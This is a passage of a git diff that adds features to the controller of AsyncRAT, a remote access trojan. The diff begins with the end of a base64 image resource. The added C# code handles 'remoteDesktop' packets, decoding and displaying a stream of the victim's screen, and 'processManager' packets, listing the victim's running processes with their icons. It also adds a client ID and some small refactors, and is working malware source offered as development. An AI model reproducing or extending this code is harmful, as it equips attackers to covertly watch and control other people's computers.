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
|
||||||
|
gg==
|
||||||
|
</value>
|
||||||
|
</data>
|
||||||
|
</root>
|
||||||
@ -4,6 +4,9 @@ using AsyncRAT_Sharp.MessagePack;
|
|||||||
using System;
|
using System;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
|
using AsyncRAT_Sharp.Forms;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
|
||||||
namespace AsyncRAT_Sharp.Handle_Packet
|
namespace AsyncRAT_Sharp.Handle_Packet
|
||||||
{
|
{
|
||||||
@ -28,6 +31,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
|
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
|
||||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
||||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
||||||
|
Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
|
||||||
Program.form1.listView1.Items.Insert(0, Client.LV);
|
Program.form1.listView1.Items.Insert(0, Client.LV);
|
||||||
Settings.Online.Add(Client);
|
Settings.Online.Add(Client);
|
||||||
}));
|
}));
|
||||||
@ -51,6 +55,81 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
case "remoteDesktop":
|
||||||
|
{
|
||||||
|
if (Program.form1.InvokeRequired)
|
||||||
|
{
|
||||||
|
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
||||||
|
{
|
||||||
|
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID];
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (RD != null && RD.Active == true)
|
||||||
|
{
|
||||||
|
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
|
||||||
|
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
|
||||||
|
|
||||||
|
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
|
||||||
|
{
|
||||||
|
RD.pictureBox1.Image = (Bitmap)decoded;
|
||||||
|
RD.RenderSW = Stopwatch.StartNew();
|
||||||
|
}
|
||||||
|
RD.FPS++;
|
||||||
|
if (RD.sw.ElapsedMilliseconds >= 1000)
|
||||||
|
{
|
||||||
|
RD.Text = "RemoteDesktop:" + Client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Helper.BytesToString(RdpStream.Length);
|
||||||
|
RD.FPS = 0;
|
||||||
|
RD.sw = Stopwatch.StartNew();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
|
msgpack.ForcePathObject("Option").AsString = "false";
|
||||||
|
Client.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) { Debug.WriteLine(ex.Message); }
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case "processManager":
|
||||||
|
{
|
||||||
|
if (Program.form1.InvokeRequired)
|
||||||
|
{
|
||||||
|
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
||||||
|
{
|
||||||
|
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID];
|
||||||
|
if (PM != null)
|
||||||
|
{
|
||||||
|
PM.listView1.Items.Clear();
|
||||||
|
string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString;
|
||||||
|
string data = AllProcess.ToString();
|
||||||
|
string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||||
|
for (int i = 0; i < _NextProc.Length; i++)
|
||||||
|
{
|
||||||
|
if (_NextProc[i].Length > 0)
|
||||||
|
{
|
||||||
|
ListViewItem lv = new ListViewItem();
|
||||||
|
lv.Text = Path.GetFileName(_NextProc[i]);
|
||||||
|
lv.SubItems.Add(_NextProc[i + 1]);
|
||||||
|
lv.ToolTipText = _NextProc[i];
|
||||||
|
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
|
||||||
|
PM.imageList1.Images.Add(_NextProc[i + 1], im);
|
||||||
|
lv.ImageKey = _NextProc[i + 1];
|
||||||
|
PM.listView1.Items.Add(lv);
|
||||||
|
}
|
||||||
|
i += 2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
|
|||||||
@ -4,9 +4,9 @@ namespace AsyncRAT_Sharp
|
|||||||
{
|
{
|
||||||
class Helper
|
class Helper
|
||||||
{
|
{
|
||||||
public static String BytesToString(long byteCount)
|
public static string BytesToString(long byteCount)
|
||||||
{
|
{
|
||||||
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; //Longs run out around EB
|
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" };
|
||||||
if (byteCount == 0)
|
if (byteCount == 0)
|
||||||
return "0" + suf[0];
|
return "0" + suf[0];
|
||||||
long bytes = Math.Abs(byteCount);
|
long bytes = Math.Abs(byteCount);
|
||||||
|
|||||||
@ -21,7 +21,7 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
// private event ReadEventHandler Read;
|
// private event ReadEventHandler Read;
|
||||||
// private delegate void ReadEventHandler(Clients client, byte[] data);
|
// private delegate void ReadEventHandler(Clients client, byte[] data);
|
||||||
private object SendSync { get; set; }
|
private object SendSync { get; set; }
|
||||||
|
public string ID { get; set; }
|
||||||
|
|
||||||
public Clients(Socket CLIENT)
|
public Clients(Socket CLIENT)
|
||||||
{
|
{
|
||||||
|
|||||||
@ -2,7 +2,6 @@
|
|||||||
using System.Net;
|
using System.Net;
|
||||||
using System.Net.Sockets;
|
using System.Net.Sockets;
|
||||||
using System;
|
using System;
|
||||||
using System.Threading;
|
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
|
|
||||||
namespace AsyncRAT_Sharp.Sockets
|
namespace AsyncRAT_Sharp.Sockets
|
||||||
@ -34,8 +33,9 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void BeginAccept()
|
private async void BeginAccept()
|
||||||
{
|
{
|
||||||
|
await Task.Delay(1);
|
||||||
listener.BeginAccept(EndAccept, null);
|
listener.BeginAccept(EndAccept, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@ -0,0 +1,160 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
